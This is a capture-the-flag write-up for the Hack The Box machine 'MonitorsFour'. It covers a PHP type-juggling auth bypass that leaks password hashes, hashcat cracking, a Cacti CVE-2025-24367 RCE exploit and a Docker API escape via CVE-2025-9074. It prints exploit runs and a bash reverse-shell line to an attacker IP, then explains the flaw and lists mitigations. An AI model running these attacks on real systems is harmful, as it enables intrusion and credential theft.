Overview#
MonitorsFour is the next successor of “Monitors” machine which as always include an exploitation of cacti . Even tough the machine is rated easy, I would give it a medium rating, as exploiting the API endpoint with type juggling needed some advanced understanding in terms of inner working of PHP. For Privilege Escalation there was one hint in the changelog of the main website, which gave the docker version away. Only by picking this up or staying updated on latest exploit you would successful know that docker desktop had a major vulnerability by exposing the docker API unauthenticated to every container.
User#
Nmap portscan shows two ports open:
sudo nscan 10.129.54.70
PORT STATE SERVICE VERSION
80/tcp open http nginx
|_http-title: Did not follow redirect to http://monitorsfour.htb/
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running (JUST GUESSING): Microsoft Windows 2022|2012|2016 (88%)
OS CPE: cpe:/o:microsoft:windows_server_2022 cpe:/o:microsoft:windows_server_2012:r2 cpe:/o:microsoft:windows_server_2016
Aggressive OS guesses: Microsoft Windows Server 2022 (88%), Microsoft Windows Server 2012 R2 (85%), Microsoft Windows Server 2016 (85%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windowsVHost fuzzing reveals cacti subdomain:
ffuf -c -t 300 -u "http://monitorsfour.htb" -H "Host: FUZZ.monitorsfour.htb" -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-110000.txt -fs 138
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://monitorsfour.htb
:: Wordlist : FUZZ: /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-110000.txt
:: Header : Host: FUZZ.monitorsfour.htb
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 300
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Response size: 138
________________________________________________
cacti [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 294ms]Visiting cacti we can see its version 1.2.28:
feroxbuster directory fuzzing against main site:
β$ feroxbuster -u 'http://monitorsfour.htb' -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-small-words.txt -x txt,php,bak,js
___ ___ __ __ __ __ __ ___
|__ |__ |__) |__) | / ` / \ \_/ | | \ |__
| |___ | \ | \ | \__, \__/ / \ | |__/ |___
by Ben "epi" Risher π€ ver: 2.13.0
ββββββββββββββββββββββββββββ¬ββββββββββββββββββββββ
π― Target Url β http://monitorsfour.htb/
π© In-Scope Url β monitorsfour.htb
π Threads β 50
π Wordlist β /usr/share/wordlists/seclists/Discovery/Web-Content/raft-small-words.txt
π Status Codes β All Status Codes!
π₯ Timeout (secs) β 7
𦑠User-Agent β feroxbuster/2.13.0
π Config File β /etc/feroxbuster/ferox-config.toml
π Extract Links β true
π² Extensions β [txt, php, bak, js]
π HTTP methods β [GET]
π Recursion Depth β 4
ββββββββββββββββββββββββββββ΄ββββββββββββββββββββββ
π Press [ENTER] to use the Scan Management Menuβ’
ββββββββββββββββββββββββββββββββββββββββββββββββββ
403 GET 7l 9w 146c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
404 GET 0l 0w 0c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
404 GET 7l 11w 146c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
200 GET 38l 117w 2813c http://monitorsfour.htb/static/js/plugins.js
200 GET 19l 62w 3695c http://monitorsfour.htb/static/images/services/04.png
200 GET 71l 130w 1872c http://monitorsfour.htb/static/js/custom.js
200 GET 24l 99w 770c http://monitorsfour.htb/static/js/smoothscroll.js
200 GET 6l 34w 2166c http://monitorsfour.htb/static/images/services/02.png
200 GET 129l 673w 57007c http://monitorsfour.htb/static/admin/assets/images/logo.png
200 GET 11l 15w 188c http://monitorsfour.htb/static/css/plugins.css
200 GET 935l 1752w 15174c http://monitorsfour.htb/static/css/style.css
200 GET 1l 235w 12063c http://monitorsfour.htb/static/images/review.svg
200 GET 5l 30w 1616c http://monitorsfour.htb/static/images/services/01.png
200 GET 5l 369w 21003c http://monitorsfour.htb/static/js/popper.min.js
200 GET 9l 43w 3028c http://monitorsfour.htb/static/images/services/03.png
200 GET 109l 619w 13655c http://monitorsfour.htb/static/images/service.svg
200 GET 1l 359w 22207c http://monitorsfour.htb/static/images/banner.svg
200 GET 1l 393w 15974c http://monitorsfour.htb/static/images/about-us.svg
200 GET 7l 683w 60010c http://monitorsfour.htb/static/js/bootstrap.min.js
200 GET 1l 3w 35c http://monitorsfour.htb/user
200 GET 87l 1326w 157954c http://monitorsfour.htb/static/admin/assets/images/logo.ico
200 GET 4l 1293w 86709c http://monitorsfour.htb/static/js/jquery-min.js
200 GET 2l 210w 12507c http://monitorsfour.htb/static/admin/assets/js/plugins/loaders/pace.min.js
200 GET 7l 277w 44342c http://monitorsfour.htb/static/js/owl.carousel.min.js
200 GET 96l 239w 4340c http://monitorsfour.htb/login
200 GET 338l 982w 13688c http://monitorsfour.htb/
200 GET 4l 1305w 84345c http://monitorsfour.htb/static/admin/assets/js/core/libraries/jquery.min.js
200 GET 1l 1w 37820c http://monitorsfour.htb/static/admin/assets/css/minified/colors.min.css
200 GET 1l 1733w 122310c http://monitorsfour.htb/static/admin/assets/css/minified/bootstrap.min.css
200 GET 6l 184w 9227c http://monitorsfour.htb/static/admin/assets/js/plugins/loaders/blockui.min.js
200 GET 607l 1130w 16986c http://monitorsfour.htb/static/admin/assets/js/core/app.js
200 GET 1190l 1226w 47483c http://monitorsfour.htb/static/admin/assets/css/icons/icomoon/styles.css
200 GET 4l 35w 367c http://monitorsfour.htb/contact
200 GET 7l 430w 36816c http://monitorsfour.htb/static/admin/assets/js/core/libraries/bootstrap.min.js
200 GET 84l 212w 3099c http://monitorsfour.htb/forgot-password
200 GET 1l 1430w 108349c http://monitorsfour.htb/static/admin/assets/css/minified/core.min.css
200 GET 1l 5059w 256503c http://monitorsfour.htb/static/admin/assets/css/minified/components.min.css
200 GET 4734l 29110w 2364586c http://monitorsfour.htb/static/admin/assets/images/servers.png
301 GET 7l 11w 162c http://monitorsfour.htb/static => http://monitorsfour.htb/static/
301 GET 7l 11w 162c http://monitorsfour.htb/static/images => http://monitorsfour.htb/static/images/
301 GET 7l 11w 162c http://monitorsfour.htb/static/admin => http://monitorsfour.htb/static/admin/
301 GET 7l 11w 162c http://monitorsfour.htb/static/js => http://monitorsfour.htb/static/js/
301 GET 7l 11w 162c http://monitorsfour.htb/static/css => http://monitorsfour.htb/static/css/
301 GET 7l 11w 162c http://monitorsfour.htb/static/images/blog => http://monitorsfour.htb/static/images/blog/
301 GET 7l 11w 162c http://monitorsfour.htb/static/admin/assets => http://monitorsfour.htb/static/admin/assets/
301 GET 7l 11w 162c http://monitorsfour.htb/static/admin/assets/js => http://monitorsfour.htb/static/admin/assets/js/
301 GET 7l 11w 162c http://monitorsfour.htb/static/admin/assets/images => http://monitorsfour.htb/static/admin/assets/images/
301 GET 7l 11w 162c http://monitorsfour.htb/static/admin/assets/css => http://monitorsfour.htb/static/admin/assets/css/
301 GET 7l 11w 162c http://monitorsfour.htb/static/images/services => http://monitorsfour.htb/static/images/services/
301 GET 7l 11w 162c http://monitorsfour.htb/static/fonts => http://monitorsfour.htb/static/fonts/
200 GET 1l 5104w 64362c http://monitorsfour.htb/static/js/main.js
301 GET 7l 11w 162c http://monitorsfour.htb/views => http://monitorsfour.htb/views/
301 GET 7l 11w 162c http://monitorsfour.htb/static/admin/assets/swf => http://monitorsfour.htb/static/admin/assets/swf/
301 GET 7l 11w 162c http://monitorsfour.htb/views/admin => http://monitorsfour.htb/views/admin/
200 GET 96l 239w 4340c http://monitorsfour.htb/views/login.php
200 GET 338l 982w 13688c http://monitorsfour.htb/views/index.php
200 GET 215l 592w 9229c http://monitorsfour.htb/views/admin/api.php
200 GET 321l 800w 13987c http://monitorsfour.htb/views/admin/users.php
301 GET 7l 11w 162c http://monitorsfour.htb/controllers => http://monitorsfour.htb/controllers/
200 GET 338l 982w 13688c http://monitorsfour.htb/views/We enumerated http://monitorsfour.htb/user / http://monitorsfour.htb/users which is just a wrapper for the API endpoint on: http://monitorsfour.htb/api/v1/users
If we request it, we see its missing the token parameter:
curl "http://monitorsfour.htb/api/v1/users"
{"error":"Missing token parameter"} Giving an arbitrary one errors out:
curl "http://monitorsfour.htb/api/v1/users?token=x"
{"error":"Invalid or missing token"} Let’s try PHP Type Juggeling, as we previously enumerated the nginx webserver is running PHP.
ββ$ curl "http://monitorsfour.htb/api/v1/users?token=0" | jq
[
{
"id": 2,
"username": "admin",
"email": "admin@monitorsfour.htb",
"password": "56b32eb43e6f15395f6c46c1c9e1cd36",
"role": "super user",
"token": "8024b78f83f102da4f",
"name": "Marcus Higgins",
"position": "System Administrator",
"dob": "1978-04-26",
"start_date": "2021-01-12",
"salary": "320800.00"
},
{
"id": 5,
"username": "mwatson",
"email": "mwatson@monitorsfour.htb",
"password": "69196959c16b26ef00b77d82cf6eb169",
"role": "user",
"token": "0e543210987654321",
"name": "Michael Watson",
"position": "Website Administrator",
"dob": "1985-02-15",
"start_date": "2021-05-11",
"salary": "75000.00"
},
{
"id": 6,
"username": "janderson",
"email": "janderson@monitorsfour.htb",
"password": "2a22dcf99190c322d974c8df5ba3256b",
"role": "user",
"token": "0e999999999999999",
"name": "Jennifer Anderson",
"position": "Network Engineer",
"dob": "1990-07-16",
"start_date": "2021-06-20",
"salary": "68000.00"
},
{
"id": 7,
"username": "dthompson",
"email": "dthompson@monitorsfour.htb",
"password": "8d4a7e7fd08555133e056d9aacb1e519",
"role": "user",
"token": "0e111111111111111",
"name": "David Thompson",
"position": "Database Manager",
"dob": "1982-11-23",
"start_date": "2022-09-15",
"salary": "83000.00"
}
]
We get an authentication bypass, by giving in an integer 0 which is compared with == (loose) instead of === (strict). The endpoint is revealing all users and their hashed passwords.
Let’s save the hashes to a file and try to crack them:
hashcat hashes -m0 rockyou.txt
56b32eb43e6f15395f6c46c1c9e1cd36:wonderful1admin hash cracked!
With those credentials we get logged in on the main website:
Trying to reuse that password on cacti with username admin fails. But as we see his name is Marcus Higgins, we can take and educated guess and try marcus as username for cacti. This let us in with same pw wonderful1:
A short research for version 1.2.28 leads us to this authenticated RCE, https://github.com/TheCyberGeek/CVE-2025-24367-Cacti-PoC . This PoC is published by the creator of the machine.
python exploit.py -u marcus -p 'wonderful1' -i 10.10.14.39 -l 9001 --url http://cacti.monitorsfour.htb
[+] Cacti Instance Found!
[+] Serving HTTP on port 80
[+] Login Successful!
[+] Got graph ID: 226
[i] Created PHP filename: kZpkN.php
[+] Got payload: /bash
[i] Created PHP filename: BMMnb.php
[+] Hit timeout, looks good for shell, check your listener!
[+] Stopped HTTP server on port 80On Listener:
ncat -lvnp 9001
Ncat: Version 7.95 ( https://nmap.org/ncat )
Ncat: Listening on [::]:9001
Ncat: Listening on 0.0.0.0:9001
Ncat: Connection from 10.129.109.64:57468.
bash: cannot set terminal process group (7): Inappropriate ioctl for device
bash: no job control in this shell
www-data@821fbd6a43fa:~/html/cacti$ We find the user flag inside this container under /home/marcus/user.txt
Root#
In changelog of monitorsfour.htb website the docker version running on host was specified:
Researching for exploits for this version, we find CVE-2025-9074 which is an unauthenticated RCE against the host via docker API from within any container: https://github.com/BridgerAlderson/CVE-2025-9074-PoC
Basically with access to the docker API, we can create a new container and mount the whole filesystem of the host within it, giving us read/write permission to any file and de facto a full system compromise.
www-data@821fbd6a43fa:/tmp$ ./expl.sh 192.168.65.7 id
#########################################################
# Docker API Universal RCE & Audit Tool #
# Auto-detects OS & Images for Compatibility #
#########################################################
[*] Checking connection to http://192.168.65.7:2375...
[+] Detected OS Type: linux
[i] Linux detected. Mounting host root (/).
[*] Enumerating available images...
[+] Target has image available: docker_setup-nginx-php:latest
[+] Creating container with image: docker_setup-nginx-php:latest
[+] Container ID: ff450d460dcd
[+] Starting container...
[+] Executing command: id
---------------- OUTPUT ----------------
'uid=0(root) gid=0(root) groups=0(root)
----------------------------------------
[+] Cleaning up...
[+] Done.192.168.65.7:2375 is the address, where the docker API endpoint for docker desktop (windows) is exposed.
RCE into docker host:
www-data@821fbd6a43fa:/tmp$ ./expl.sh 192.168.65.7 'bash -c "bash -i >&/dev/tcp/10.10.14.39/9001 0>&1"'Listener:
ncat -lvnp 9001
Ncat: Version 7.95 ( https://nmap.org/ncat )
Ncat: Listening on [::]:9001
Ncat: Listening on 0.0.0.0:9001
Ncat: Connection from 10.129.109.64:57480.
bash: cannot set terminal process group (6): Inappropriate ioctl for device
bash: no job control in this shell
root@2c786f24205e:/var/www/html# We’re now in the arbitrary created container. The host filesystem is mounted under /host_root. As docker desktop on windows is using WSL there are some additional directories to traverse to find the root flag:
root@197363611dc8:/host_root/mnt/host/c/Users/Administrator/Desktop# cat root.txtAdditional note: From this state we do not have the permission to read any registry hives, which would have given us NTLM-hashes to log in via WinRM. There were some ScheduledTask running, so by adjusting those scripts, we could achieve a full shell on the host system.
Why Type Juggling worked#
Here is the code snipped, which lead to authentication bypass (/var/www/app/controllers/AuthController.php):
public function validate_token($token): bool
{
$query = "SELECT token FROM users";
$stmt = $this->db->query($query);
$tokens = $stmt->fetchAll(PDO::FETCH_COLUMN);
foreach ($tokens as $db_token) {
if ($token == $db_token) {
return true;
}
}
return false;
}It gathers all tokens from the database and loops through each one to find a match, else it return false. The comparison is done with == (loose). In the given users table we can see three tokens begin with 0e:
"token": "0e543210987654321",
"token": "0e999999999999999",
"token": "0e111111111111111",On a loose comparison PHP tries to convert values to the same type, before comparison. In this case with 0e PHP interprets the value as scientific notation and is treated as a float in comparison operations. When we give in the string with 0 as token, it gets converted into an integer to match the type before comparison. 0e float also gets converted into a integer number, which is 0 obviously.
In the end because of the conversions there is a match 0 == 0, resulting in the authentication bypass.
This source is an additional good explanation: https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Type%20Juggling/README.md.
Learning Points#
- Whenever there are some comparison done in PHP, when wrongly implemented type juggling can lead to severe harm.
- Try numerous of similar usernames for password reuse.
- An exposed docker API is most likely a full system compromise in any way.
Mitigation Points#
- Enforce strict comparisons wherever possible in PHP.
- Update
cactianddocker desktopto latest versions, maintain a strict update cycle and monitor for critical security vulnerabilities.

